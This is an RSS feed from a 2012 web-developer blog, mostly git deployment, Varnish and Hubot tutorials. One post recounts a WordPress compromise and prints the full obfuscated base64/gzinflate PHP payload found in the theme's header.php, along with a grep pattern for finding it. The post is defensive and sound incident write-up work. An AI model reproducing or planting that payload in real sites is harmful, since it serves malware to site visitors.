<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Arlo Carreon</title>
	<atom:link href="http://www.arlocarreon.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.arlocarreon.com</link>
	<description>Web Developer by day, hacker by night</description>
	<lastBuildDate>Thu, 09 May 2013 15:45:12 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<item>
		<title>My Desktop Workflow</title>
		<link>http://www.arlocarreon.com/blog/workflow/my-desktop-workflow/</link>
		<comments>http://www.arlocarreon.com/blog/workflow/my-desktop-workflow/#comments</comments>
		<pubDate>Fri, 27 Jul 2012 05:24:49 +0000</pubDate>
		<dc:creator>arlo</dc:creator>
				<category><![CDATA[Workflow]]></category>

		<guid isPermaLink="false">http://www.arlocarreon.com/?p=477</guid>
		<description><![CDATA[I was asked to share my desktop workflow by Talentopoly.com&#8217;s blog. I really enjoyed writing about how I use my workstation and what shortcuts I have that save me lots of time throughout the day. In case you might be interested here is a link to that post. http://blog.talentopoly.com/2012/07/26/featured-desktop-arlo-carreon/]]></description>
				<content:encoded><![CDATA[<p>I was asked to share my desktop workflow by Talentopoly.com&#8217;s blog. I really enjoyed writing about how I use my workstation and what shortcuts I have that save me lots of time throughout the day. In case you might be interested here is a link to that post.</p>
<p><a href="http://blog.talentopoly.com/2012/07/26/featured-desktop-arlo-carreon/" target="_blank">http://blog.talentopoly.com/2012/07/26/featured-desktop-arlo-carreon/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.arlocarreon.com/blog/workflow/my-desktop-workflow/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>My WordPress header.php Got Hacked &#8211; snxstat77.info</title>
		<link>http://www.arlocarreon.com/blog/wordpress/wordpress-header-php-got-hacked-snxstat77-info/</link>
		<comments>http://www.arlocarreon.com/blog/wordpress/wordpress-header-php-got-hacked-snxstat77-info/#comments</comments>
		<pubDate>Sat, 12 May 2012 16:45:22 +0000</pubDate>
		<dc:creator>arlo</dc:creator>
				<category><![CDATA[Javascript]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.arlocarreon.com/?p=457</guid>
		<description><![CDATA[Today I went to see some analytics and noticed that traffic was unusually down. I went to a popular wiki page that usually drives a lot of traffic to check if my link was there. It sure was, but when I clicked on it chrome gave me a malware warning! XSS Hack (cross site scripting) [...]]]></description>
				<content:encoded><![CDATA[<p>Today I went to see some analytics and noticed that traffic was unusually down. I went to a popular wiki page that usually drives a lot of traffic to check if my link was there. It sure was, but when I clicked on it chrome gave me a malware warning!<br/><br />
<img src="http://dl.dropbox.com/u/5156502/chrome_malware_warning.png" width="100%"/></p>
<h2>XSS Hack (cross site scripting)</h2>
<p>If you do a search for the offending website <strong>snxstat77.info</strong> you will not find anything. So I looked at the live DOM via chrome tools (or you can use firebug) to search for the site, and sure enough I found it.<br/><br />
<img src="http://dl.dropbox.com/u/5156502/injected_iframe.png" width="100%"/><br />
<br/>At this point I knew there was some Javascript being loaded that was dynamically creating this iframe.  I searched the DOM in fear that it might be a 3rd party wordpress plugin gone rogue, but found nothing.  Then I took a look at my header.php for my theme, BINGO! I see this confuscated block of characters that screams machine generated. Turns out it&#8217;s some sort of hash that is being decoded and creates a script tag which in turn injects an iframe into the DOM. So I quickly removed it and saw the warning go away.  Hopefully this post helps others locate a similar problem with their site.  Here is the code that I had to remove from my <strong>header.php</strong>:</p>
<pre class="brush: php; title: ; notranslate">
#32d494#
echo(gzinflate(base64_decode(&quot;zVZtb5swEP4ts5CAotDYYF7msn2I9gv2McqHvMCgSkMCbqsm6n+fzy+EpE3Kqk2aFIh9
vrvnzvfC3bXLptryb7x5OeyyVb18fMg33F82+ZznP9Y57By0Qh6qxPOEXLbz59ttvllNymq9cnYeErTX5ZwvS2f37B7KbDTG5Ja
yV1C5bWpe85dtblgWTb5o3EPLs5+8qTa/2H6f2fO1Lf/3T7bfPi5a3jiYBCNMiOvt96xts+mMFZldNLZn1w/iNSltVnhCspmoRb
3Kbfac8bJqWZ49T4spUprQzMEY1MzYJkOBTy14KIbX2MLUwqkVphYNBSFMgBrDC5jCFFahoFiECO6OFFuBVBLo/RkzjQBFSAApx
FYoNYJ4kOhNJyHQcSKhtQmpEpNELBUAmQgoaigRqKLak3OPaHQOISiAAkuSnElGIIUNY6BMV4ZdwBl2V4nCVUbFR1cji6RXTMVU
WQAnoIJ0V0GxvFnxAy8EBpwS3/AL4FQvY61UGAJ79SIaNJS4oRFWt0y1vVi7FwPaEZoEKgAdM9beYhNWZdwVCW0YTXtZ0/Mt0bq
izgpDCborpCp+EksbKn/KKxVYqlw76pGu+IYMbOpyQH/U0QMdRx0npcvk9li6loA76iDWUrRPlX4EY4iuisrFEAsmHF3Lxj5Boi
vTw+Qdf/DAvH+/YkwxRlKPbAYkNfUwIMtDneWSGvav8Gp7MCV/pQy64ldXNJYJHPX7j4lu3JUZxDQ+K7fEPysolZ7439fUe8a/q
QDyJ6l/0greVoDybADix0XSIX1cK4NRT8up1ymGq+gV3ofyn8mTtz3wJFtOm9rfSs4LvXQQ8qe+TP/DVxx6R6wb9hFTCAWkl9/S
MFANreliv0RTx8nd76hFX8Uk5qGtGNPWFRdjD5pb3eGjPjUTkeuyom6cKotGZIThYdWI0uBLNmaV57mH+6xiVeG03BXTV9t6Lfe
Lpn6YlGLiErOWM8I35Y2DPXyzmd7PhLrXnWBjubMTy7tbPVX+Bg==&quot;)));
#/32d494#
</pre>
<h2>Investigating the Hack</h2>
<p>I am still in the middle of figuring out where the vulnerability is on my site. I recently (2 days ago) updated my WordPress install to 3.3.2 (newest) and this is the first time I have been hacked. Not sure if WordPress is to blame or not, either way I would like to find out how this happened.</p>
<h3 style="color:red;">Update: 1</h3>
<p>I found <a href="http://blog.unmaskparasites.com/2012/05/02/malware-piggybacks-on-automatic-wordpress-updates/" target="_blank">this blog post</a> that seems to explain what happened to my WordPress install. I also changed my password on my server and ftp accounts. Then I did a search to see how far this little hack has gone.</p>
<pre class="brush: bash; title: ; notranslate">
grep -R 'echo(gzinflate(base64_decode(' *
</pre>
<p>This revealed that ALL my WordPress themes were hacked.<br />
<br/><img src="http://dl.dropbox.com/u/5156502/grep_WP_hack.png" width="100%"/><br/></p>
<p>So far it <strong>doesn&#8217;t</strong> look like a WordPress flaw, but more like my SSH/FTP account had been compromised.  Then the intruder, noticed I had a WordPress site and decided to inject all my themes. <img src='http://www.arlocarreon.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.arlocarreon.com/blog/wordpress/wordpress-header-php-got-hacked-snxstat77-info/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>Deploying Your Git Repo To Arvixe Web Hosting</title>
		<link>http://www.arlocarreon.com/blog/git/deploying-your-git-repo-to-arvixe-web-hosting/</link>
		<comments>http://www.arlocarreon.com/blog/git/deploying-your-git-repo-to-arvixe-web-hosting/#comments</comments>
		<pubDate>Sat, 05 May 2012 18:56:05 +0000</pubDate>
		<dc:creator>arlo</dc:creator>
				<category><![CDATA[git]]></category>

		<guid isPermaLink="false">http://www.arlocarreon.com/?p=445</guid>
		<description><![CDATA[Git is rapidally becoming more and more popular and while Github.com is a great way to store your projects you will need a way to deploy your web app to your shared hosting. Arvixe.com is one of the most affordable and reliable shared hosting providers I&#8217;ve come across and a perfect example for demonstrating how [...]]]></description>
				<content:encoded><![CDATA[<p>Git is rapidally becoming more and more popular and while <a href="http://github.com" target="_blank">Github.com</a> is a great way to store your projects you will need a way to deploy your web app to your shared hosting.  <a href="http://www.arvixe.com/3832-0-1-794.html" target="_blank">Arvixe.com</a> is one of the most affordable and reliable shared hosting providers I&#8217;ve come across and a perfect example for demonstrating how to deploy your git repo into a shared environment like <a href="http://www.arvixe.com/3832-0-1-794.html" target="_blank">Arvixe.com</a>.</p>
<h2>1.) Setup SSH Access with Arvixe</h2>
<p><strong>Make sure you have SSH access. </strong>Shared hosting accounts with <a href="http://www.arvixe.com/3832-0-1-794.html" target="_blank">Arvixe</a> <strong>do not </strong>come with SSH access by default. You will to go to the support chat and ask for SSH access, this will only take minutes and is effective immediately.  Once they give you access, make sure you can login. Here is how you would SSH into your account with your <a href="http://www.arvixe.com/3832-0-1-794.html" target="_blank">Arvixe</a> username and password.</p>
<pre class="brush: bash; title: ; notranslate">
ssh USER-NAME@your-domain.com
...
Enter your password: *********
</pre>
<p><strong>Get your public key into <a href="http://www.arvixe.com/3832-0-1-794.html" target="_blank">Arvixe</a>.</strong>Your public key is located on YOUR computer, <code>~/.ssh/id_rsa.pub</code>.<br />
Create the following file on <a href="http://www.arvixe.com/3832-0-1-794.html" target="_blank">Arvixe</a> and copy the contents of your public key into this new file: <code>~/.ssh/authorized_keys</code>.</p>
<blockquote><p>Incase you don&#8217;t have <code>~/.ssh/id_rsa.pub</code> <strong>on your computer</strong>, run <code>ssh-keygen</code> in your console and hit <code>enter</code> all the way through. At the end of that, you will have the <code>~/.ssh/id_rsa.pub</code> file on your computer.</p></blockquote>
<blockquote><p>You can create a new file on <a href="http://www.arvixe.com/3832-0-1-794.html" target="_blank">Arvixe</a> with the following command: <code>touch ~/.ssh/authorized_keys</code>. </p></blockquote>
<p><strong>Configure your repo on <a href="http://www.arvixe.com/3832-0-1-794.html" target="_blank">Arvixe</a>.</strong> First, you need to set a config option in your <a href="http://www.arvixe.com/3832-0-1-794.html" target="_blank">Arvixe</a> repo to accept pushes into this working directory. While SSH&#8217;d into your <a href="http://www.arvixe.com/3832-0-1-794.html" target="_blank">Arvixe</a> account, navigate to your repo directory and run this command:</p>
<pre class="brush: bash; title: ; notranslate">
git config receive.denyCurrentBranch ignore
</pre>
<p>Finally, you need to set a git hook that will refresh your working directory after the push has been accepted. Save the following content in: <code>PATH_TO_REPO/.git/hooks/post-receive</code>.</p>
<pre class="brush: bash; title: ; notranslate">
#!/bin/sh
# Save this in: PATH_TO_REPO/.git/hooks/post-receive
GIT_WORK_TREE=../ git checkout -f
</pre>
<p>Then, make it executable with <code>chmod +x PATH_TO_REPO/.git/hooks/post-receive</code></p>
<h2>2.) Setup Your SSH Config Locally</h2>
<p><strong>Automate SSH connection for your <a href="http://www.arvixe.com/3832-0-1-794.html" target="_blank">Arvixe</a> account.</strong><br />
In order to add <a href="http://www.arvixe.com/3832-0-1-794.html" target="_blank">Arvixe</a> as a git remote, you want to setup your username as the default and you will not be using your password for authentication. You need to edit/create the file <code>~/.ssh/config</code> on your computer. Then add this content.</p>
<pre class="brush: plain; title: ; notranslate">
Host your-domain.com
  User YOUR-ARVIXE-USERNAME
  PreferredAuthentications publickey
</pre>
<p>Now, you should be able to login with <code>ssh your-domain.com</code> without needing to type your password or include your username. If this is not the case, start over at step 1.</p>
<h2>3.) Setup Arvixe Account as a Git Remote</h2>
<p><strong>Add your domain as a remote.</strong> On your computer, navigate to your git repo and run this command.  </p>
<blockquote><p>We are assuming your git repo is in <strong>WWW</strong>. In reality your repo can be anywhere on your <a href="http://www.arvixe.com/3832-0-1-794.html" target="_blank">Arvixe</a> account, just change &#8220;www&#8221; with the correct path below.</p></blockquote>
<pre class="brush: plain; title: ; notranslate">
git remote add arvixe-live your-domain.com:www/
</pre>
<p>Now, you can make your changes to your repo and when you are ready to push your changes:</p>
<pre class="brush: plain; title: ; notranslate">
git push arvixe-live master
</pre>
<h2>Something to think about</h2>
<p>With this setup it is now easy to have a &#8220;dev&#8221; site on your <a href="http://www.arvixe.com/3832-0-1-794.html" target="_blank">Arvixe</a> account too. SSH into <a href="http://www.arvixe.com/3832-0-1-794.html" target="_blank">Arvixe</a> and replicate your repo into a different folder (<code>~/www/dev</code>). Locally, setup a new remote:</p>
<pre class="brush: plain; title: ; notranslate">
git remote add arvixe-dev your-domain.com:www/dev
</pre>
<p>So, from now on you can <code>git push arvixe-dev</code> to test out your new changes. When you are ready to make your changes live: <code>git push arvixe-live</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.arlocarreon.com/blog/git/deploying-your-git-repo-to-arvixe-web-hosting/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>What Is Varnish Cache In Layman&#8217;s Terms</title>
		<link>http://www.arlocarreon.com/blog/varnish/what-is-varnish-cache-in-laymans-terms/</link>
		<comments>http://www.arlocarreon.com/blog/varnish/what-is-varnish-cache-in-laymans-terms/#comments</comments>
		<pubDate>Mon, 13 Feb 2012 11:37:30 +0000</pubDate>
		<dc:creator>arlo</dc:creator>
				<category><![CDATA[varnish]]></category>

		<guid isPermaLink="false">http://www.arlocarreon.com/?p=421</guid>
		<description><![CDATA[Varnish is a reverse web proxy caching system. It basically acts as an operator or a security guard, by intercepting all web requests before they reach your web server (apache). How It Works Varnish stores it&#8217;s cache in memory and not so much on the hard drive. In doing so, it is able to serve [...]]]></description>
				<content:encoded><![CDATA[<p><a href="https://www.varnish-cache.org/" title="varnish website" target="_blank">Varnish</a> is a reverse web proxy caching system. It basically acts as an operator or a security guard, by intercepting all web requests before they reach your web server (apache).</p>
<h2>How It Works</h2>
<p>Varnish stores it&#8217;s cache in memory and not so much on the hard drive.  In doing so, it is able to serve hundreds of more consecutive requests per second. This caching has other advantages like saving CPU time, file lookups and database requests for content that is not particularly &#8220;real-time&#8221;.  Let&#8217;s take a look at what a web request might look like when using varnish.</p>
<h2>Web Requests on a Server With Varnish</h2>
<p>Web requests will most often produce the same repeated response. In which case the response should be cached and servered quickly without consuming additional resources. In the case that a response has not been cached, the request is allowed to pass through to necessary resources in order to produce a cacheable response.<br />
<img width="100%" src="http://dl.dropbox.com/u/5156502/server_with_varnish.png"></p>
<h2>Web Requests on a Server Without Varnish</h2>
<p>Multiple PHP threads and database connections may produce high CPU consumption and increase response latency.<br />
<img width="100%" src="http://dl.dropbox.com/u/5156502/server_without_varnish.png"></p>
<h2>Additional Info</h2>
<p>Varnish can also pass along http headers to your server side scripts (e.g. session objects) or unique HTTP headers to your client side.  This unique functionality can be added using their javascript like language called VCL. You can also use raw C to connect to other existing C libraries.</p>
<p>The above images can be reused and copied. They are on a public <a href="https://docs.google.com/drawings/d/1IUJa7T7HmuJsLEQEvg-2v-u8mmvfyqVKK_r64tAUMu8/edit?pli=1" title="varnish images on google doc" target="_blank">Google Doc</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.arlocarreon.com/blog/varnish/what-is-varnish-cache-in-laymans-terms/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Push Git Repo Into Shared Hosting Account Like Hostgator</title>
		<link>http://www.arlocarreon.com/blog/git/push-git-repo-into-shared-hosting-account-like-hostgator/</link>
		<comments>http://www.arlocarreon.com/blog/git/push-git-repo-into-shared-hosting-account-like-hostgator/#comments</comments>
		<pubDate>Sat, 28 Jan 2012 03:56:57 +0000</pubDate>
		<dc:creator>arlo</dc:creator>
				<category><![CDATA[git]]></category>
		<category><![CDATA[Workflow]]></category>

		<guid isPermaLink="false">http://www.arlocarreon.com/?p=402</guid>
		<description><![CDATA[Many use 3rd party git hosting (Github.com) to host their git repos, but sometimes you&#8217;re not wanting to take your project to a social network. Sometimes your repo is for yourself, for your website and no one else. I want to run you through how to setup your Hostgator account with the configuration needed to [...]]]></description>
				<content:encoded><![CDATA[<p>Many use 3rd party git hosting (Github.com) to host their git repos, but sometimes you&#8217;re not wanting to take your project to a social network. Sometimes your repo is for yourself, for your website and no one else. I want to run you through how to setup your Hostgator account with the configuration needed to push directly into Hostgator in 3 steps. Theoretically you can do this with any shared hosting that gives you <strong>SSH access</strong> and has<strong> Git Client</strong> installed.</p>
<h2>1.) Setup Hostgator</h2>
<p><strong>Make sure you have SSH access. </strong>Shared hosting accounts with Hostgator <strong>do not </strong>come with SSH access by default. You will have to go to the support chat and ask for SSH access or go <a href="http://support.hostgator.com/articles/hosting-guide/lets-get-started/how-do-i-get-and-use-ssh-access" target="_blank">here and ONLY follow instructions for &#8220;Shared Web Hosting&#8221;</a>, this will only take minutes and is effective immediately.  Once they give you access, make sure you can login. SSH port for hostgator is 2222. Here is how you would SSH into your account with your Hostgator username and password.</p>
<pre class="brush: bash; title: ; notranslate">
ssh USER_NAME@your-domain.com -p 2222
...
Enter your password: *********
</pre>
<p><strong>Get your public key into Hostgator.</strong>Your public key is located at <code>~/.ssh/id_rsa.pub</code> (<strong>on your workstation</strong>), copy the contents and paste it in a file on Hostgator: <code>~/.ssh/authorized_keys</code>.</p>
<blockquote><p>Incase you don&#8217;t have <code>~/.ssh/id_rsa.pub</code> <strong>on your workstation</strong>, run <code>ssh-keygen</code> in your console and hit <code>enter</code> all the way through. At the end of that, you will have the <code>~/.ssh/id_rsa.pub</code> file on your computer.</p></blockquote>
<blockquote><p>If <code>~/.ssh/authorized_keys</code> does not exist on Hostgator, then create it with <code>touch ~/.ssh/authorized_keys</code>. </p></blockquote>
<p><strong>Configure your repo on hostgator.</strong> First, you need to set a config option in your hostgator repo to accept pushes into this working directory. SSH into hostgator, navigate to your repo directory and run this command:</p>
<pre class="brush: bash; title: ; notranslate">
git config receive.denyCurrentBranch ignore
</pre>
<p>Finally, you need to set a git hook that will refresh your working directory after the push has been accepted. Save the following content in: <code>PATH_TO_REPO/.git/hooks/post-receive</code>.</p>
<pre class="brush: bash; title: ; notranslate">
#!/bin/sh
# Save this in: PATH_TO_REPO/.git/hooks/post-receive
GIT_WORK_TREE=../ git checkout -f
</pre>
<p>Then, make it executable with <code>chmod +x PATH_TO_REPO/.git/hooks/post-receive</code></p>
<h2>2.) Setup Your SSH Config Locally</h2>
<p><strong>Automate SSH connection for Hostgator.</strong> In order to add hostgator as a git remote, you need to automate the fact that you will be connecting to hostgator via port 2222 and you will not be using your password for authentication. Your need to edit/create the file <code>~/.ssh/config</code> on your computer. Then add this content.</p>
<pre class="brush: plain; title: ; notranslate">
Host your-domain.com
  Port 2222
  PreferredAuthentications publickey
</pre>
<p>Now, you should be able to login with <code>ssh user_name@your-domain.com</code> without needing to type your password. If this is not the case, start over at step 1.</p>
<h2>3.) Setup Hostgator as a Remote</h2>
<p><strong>Add your domain as a remote.</strong> On your computer, navigate to your git repo and run this command:</p>
<pre class="brush: plain; title: ; notranslate">
git remote add hostgator-live user-name@your-domain.com:www/site-directory
</pre>
<p>Now, you can make you changes to your repo and when you are ready to push your changes:</p>
<pre class="brush: plain; title: ; notranslate">
git push hostgator-live
</pre>
<h2>Something to think about</h2>
<p>With this setup it is now easy to have a &#8220;dev&#8221; site on your hostgator account too. SSH into hostgator and replicate your repo into a different folder (<code>~/www/dev</code>). Locally, setup a new remote:</p>
<pre class="brush: plain; title: ; notranslate">
git remote add hostgator-dev user-name@your-domain.com:www/dev
</pre>
<p>So, from now on you can <code>git push hostgator-dev</code> to test out your new changes. When you are ready to make your changes live: <code>git push hostgator-live</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.arlocarreon.com/blog/git/push-git-repo-into-shared-hosting-account-like-hostgator/feed/</wfw:commentRss>
		<slash:comments>62</slash:comments>
		</item>
		<item>
		<title>Pre And Code Tags In Github Markdown</title>
		<link>http://www.arlocarreon.com/blog/github/pre-and-code-tags-in-github-markdown/</link>
		<comments>http://www.arlocarreon.com/blog/github/pre-and-code-tags-in-github-markdown/#comments</comments>
		<pubDate>Mon, 07 Nov 2011 17:53:17 +0000</pubDate>
		<dc:creator>arlo</dc:creator>
				<category><![CDATA[github]]></category>

		<guid isPermaLink="false">http://www.arlocarreon.com/?p=381</guid>
		<description><![CDATA[Not sure if there is some hidden resource somewhere on their site or blog, but I couldn&#8217;t find how to get syntax highlighting with &#60;pre&#62; and &#60;code&#62; tags. Here is what I found out. Pre and Code Tags In Github Not sure when/where I found that you could use &#60;pre&#62; and &#60;code&#62; tags, but I [...]]]></description>
				<content:encoded><![CDATA[<p>Not sure if there is some hidden resource somewhere on their site or blog, but I couldn&#8217;t find how to get syntax highlighting with <code>&lt;pre&gt;</code> and <code>&lt;code&gt;</code> tags.  Here is what I found out.</p>
<h2>Pre and Code Tags In Github</h2>
<p>Not sure when/where I found that you could use <code>&lt;pre&gt;</code> and <code>&lt;code&gt;</code> tags, but I liked the idea. The only problem was syntax highlighting, but recently I decided to inspect their markup to see how they convert they fenced option into HTML. In doing so, I found out what attributes you need.</p>
<pre class="brush: xml; highlight: [1]; title: ; notranslate">
&lt;pre lang=&quot;javascript&quot;&gt;&lt;code&gt;
if(foo==true)
  alert('yes sir');
else
  alert('boo scenario');
&lt;/code&gt;&lt;/pre&gt;
</pre>
<p>This method is my favored one thus far. Not buggy and you know what to expect. <a href="https://github.com/FHCHS/ldap-magic/pull/1#issuecomment-2656010" title="c-sharp markdown example" target="_blank">Here is an example</a> of a huge block of C# code that <code>ONLY</code> worked with these <code>&lt;pre&gt;</code> and <code>&lt;code&gt;</code> tags, all documented methods bugged out.</p>
<h2>Documented Markdown For Code</h2>
<p>There are 2 documented ways to do code blocks in Github&#8217;s markdown.</p>
<h3>1.) 4 Space Indent</h3>
<p>In my case, this is awkward. Especially when pasting in a block of code.</p>
<pre class="brush: jscript; title: ; notranslate">
    if(foo==true)
      alert('yes sir');
    else
      alert('boo scenario');
</pre>
<h3>2.) Fenced code block with `</h3>
<p>This is the format I&#8217;ve used the most, seems easier than the 4 space indent. You need to start with 3 <code>```language</code> and end the fence with another 3 <code>```</code>. This method has proven to be buggy.</p>
<pre class="brush: jscript; title: ; notranslate">
```javascript
if(foo==true)
  alert('yes sir');
else
  alert('boo scenario');
```
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.arlocarreon.com/blog/github/pre-and-code-tags-in-github-markdown/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Hubot&#8217;s Gtalk Adapter</title>
		<link>http://www.arlocarreon.com/blog/hubot/hubots-gtalk-adapter/</link>
		<comments>http://www.arlocarreon.com/blog/hubot/hubots-gtalk-adapter/#comments</comments>
		<pubDate>Sat, 05 Nov 2011 06:22:17 +0000</pubDate>
		<dc:creator>arlo</dc:creator>
				<category><![CDATA[Hubot]]></category>

		<guid isPermaLink="false">http://www.arlocarreon.com/?p=379</guid>
		<description><![CDATA[Hubot is an awesome chatbot written by the Github Team and opensources recently. At work we don&#8217;t use chatroom environments, instead we use Gtalk. Our campus has staff located in several building and we all communicate via our enterprise Gtalk. IT and non tech savvy people have taking a liking to communication via the messenger. [...]]]></description>
				<content:encoded><![CDATA[<p>Hubot is an awesome chatbot written by the Github Team and opensources recently.  At work we don&#8217;t use chatroom environments, instead we use Gtalk.  Our campus has staff located in several building and we all communicate via our enterprise Gtalk. IT and non tech savvy people have taking a liking to communication via the messenger.  Naturally upon seeing hubot in all his glory, I knew that he MUST be part of my workplace&#8217;s culture.</p>
<h2>Gtalk Adapter</h2>
<p>If you are interested in using this adapter in your private Hubot and do not want to upgrade Hubot to v1.1.9, you can download the adapter <a href="https://github.com/mexitek/hubot/blob/gtalk/src/hubot/gtalk.coffee" title="gtalk adapter script" target="_blank">at my repo</a>. </p>
<p>The beauty of the Gtalk adapter is that is only depends the <code>node-xmpp</code> node package, which is already part of hubot.  You can literally drop in that adapter and you are good to go.</p>
<h2>Environment Variables</h2>
<p>Even though the official Hubot wiki has a <a href="https://github.com/github/hubot/wiki/Adapter:-Gtalk" title="gtalk wiki page" target="_blank">page about this adapter</a>, here are the two environment variables you need: </p>
<pre class="brush: bash; title: ; notranslate">
export HUBOT_GTALK_USERNAME=&quot;example@domain.com&quot;
export HUBOT_GTALK_PASSWORD=&quot;account password&quot;
</pre>
<h2>Enjoy</h2>
<p>If you have any issues with the Gtalk adapter or wish to submit a feature request, feel free to create an issue on <a href="https://github.com/github/hubot/issues?sort=created&#038;direction=desc&#038;state=open" title="hubot issues" target="_blank">Hubot&#8217;s main repo</a> and mention <code>@mexitek</code> in the description or the comments. In mentioning my name I will be notified and Github staff will bug me to support the adapter.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.arlocarreon.com/blog/hubot/hubots-gtalk-adapter/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Github&#8217;s Hubot on Joyent&#8217;s no.de Smart Machines</title>
		<link>http://www.arlocarreon.com/blog/git/githubs-hubot-on-joyents-no-de-smart-machines/</link>
		<comments>http://www.arlocarreon.com/blog/git/githubs-hubot-on-joyents-no-de-smart-machines/#comments</comments>
		<pubDate>Wed, 02 Nov 2011 03:30:29 +0000</pubDate>
		<dc:creator>arlo</dc:creator>
				<category><![CDATA[git]]></category>
		<category><![CDATA[github]]></category>
		<category><![CDATA[Hubot]]></category>
		<category><![CDATA[node.js]]></category>

		<guid isPermaLink="false">http://www.arlocarreon.com/?p=363</guid>
		<description><![CDATA[I had an exciting adventure hacking away at Github&#8217;s chat bot, Hubot. Hubot uses node.js as the webserver, redis for database and coffeescript for programming language. In this tutorial we will hook Hubot into a Campfire chatroom running on a free node.js server from http://No.de. Incase you have no idea what Hubot is, and you [...]]]></description>
				<content:encoded><![CDATA[<p>I had an exciting adventure hacking away at Github&#8217;s chat bot, Hubot. Hubot uses <strong>node.js</strong> as the webserver, <strong>redis </strong>for database and <strong>coffeescript</strong> for programming language. In this tutorial we will hook Hubot into a Campfire chatroom running on a free node.js server from http://No.de.</p>
<blockquote><p>Incase you have no idea what Hubot is, and you are genuinely interested, you can read Github developers talk about him <a title="zack on hubot" href="http://zachholman.com/posts/why-github-hacks-on-side-projects/" target="_blank">here</a> and <a title="github releases hubot" href="https://github.com/blog/968-say-hello-to-hubot" target="_blank">here</a>.</p></blockquote>
<blockquote><p>Have you deployed to no.de before? Familiar enough with Hubot? Skip this tutorial and see exactly what you need <a title="Hubot on no.de gist" href="https://gist.github.com/1326106" target="_blank">from my gist</a>.</p></blockquote>
<h2>1.) Before we start</h2>
<ul>
<li>Create an account on <a title="no.de" href="https://no.de/" target="_blank">no.de</a></li>
<li>Fire up a node.js smartmachine.</li>
<li>Add ssh config options to your ~/.ssh/config file. Instructions on your machine&#8217;s dashboard.</li>
<li>Add you public ssh key to your account. <a title="no.de ssh" href="http://wiki.joyent.com/display/node/Getting+Started+with+a+Node.js+SmartMachine" target="_blank">Instructions here</a>.</li>
</ul>
<p>Make sure you can ssh into your node machine.</p>
<pre class="brush: bash; title: ; notranslate">
ssh useraccount.no.de
</pre>
<h2>2.) Adding environment variables</h2>
<p>A hubot adapter is basically the type of chat environment you want Hubot to connect to: Campfire, IRC, Gtalk, Email, XMPP, hipchat, etc. Every adapter has it&#8217;s own environment variables that need to be added to your server.</p>
<blockquote><p>You can see some examples on Hubot&#8217;s Wiki on adapters. Here is the page for <a title="campfire adapter" href="https://github.com/github/hubot/wiki/Adapter:-Campfire" target="_blank">Campfire&#8217;s Adapter</a>.</p></blockquote>
<p>The user that will be running node.js applications on your no.de server is &#8220;node-service&#8221;.  In order to add environment variables for this user we must ssh into your machine with the admin account.</p>
<pre class="brush: bash; title: ; notranslate">ssh admin@username.no.de</pre>
<p>Once you have logged in, you need to edit the following file: <code>/home/node/node-service/profile</code> and paste in your environment variables.</p>
<pre class="brush: bash; title: ; notranslate">
sudo vim /home/node/node-service/profile
</pre>
<p>In the vim editor, press &#8220;i&#8221; to insert. Type in (or paste on Mac) your environment variables. When finished press &#8220;esc&#8221;, &#8220;:w!&#8221;+enter to save and finally &#8220;:q&#8221;.</p>
<pre class="brush: bash; title: ; notranslate">
# Hubot stuff
export HUBOT_CAMPFIRE_TOKEN=&quot;token here&quot;
export HUBOT_CAMPFIRE_ROOMS=&quot;roomID,roomID,roomID&quot;
export HUBOT_CAMPFIRE_ACCOUNT=&quot;campfire subdomain&quot;
</pre>
<h2>3.) Download Hubot</h2>
<p>You can get the latest version of Hubot from the repo&#8217;s <a href="https://github.com/github/hubot/downloads" title="hubot download" target="_blank">download page</a>. Unzip the package.</p>
<h2>4.) Prepare Hubot for No.de</h2>
<p>No.de looks for a file named <code>server.js</code> that will kick start your app upon a git push.  Hubot has no such file and is written in coffeescript rather than plain Javascript. We must add a line to <code>package.json</code> that will tell No.de how to launch our application. Also, we need to add a file called <code>config.json</code> that will tell No.de which nodejs version to use.</p>
<h3>Create config.json</h3>
<p>It only need to contain the following.</p>
<pre class="brush: jscript; title: ; notranslate">{&quot;version&quot;: &quot;v0.4.11&quot;}</pre>
<h3>Edit package.json</h3>
<p>Add the following line to the bottom of the file.  This will launch Hubot&#8217;s Campfire adapter.</p>
<pre class="brush: jscript; title: ; notranslate">
,&quot;scripts&quot;: { &quot;start&quot;: &quot;./bin/hubot --adapter campfire&quot; }
</pre>
<h2>5.) Push Hubot to No.de</h2>
<p>You need to step into that folder to create a new git repo, create a git remote for no.de and finally push your repo to No.de.</p>
<pre class="brush: bash; title: ; notranslate">
git init
git remote add no.de username.no.de:repo
git push no.de master
... lots of output should end with:
win!
</pre>
<h2>That&#8217;s it.</h2>
<p>Now go to your Campfire chatroom and mess with Hubot.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.arlocarreon.com/blog/git/githubs-hubot-on-joyents-no-de-smart-machines/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Postgre SQL/PL Function For Generating PostGIS Spatial Data</title>
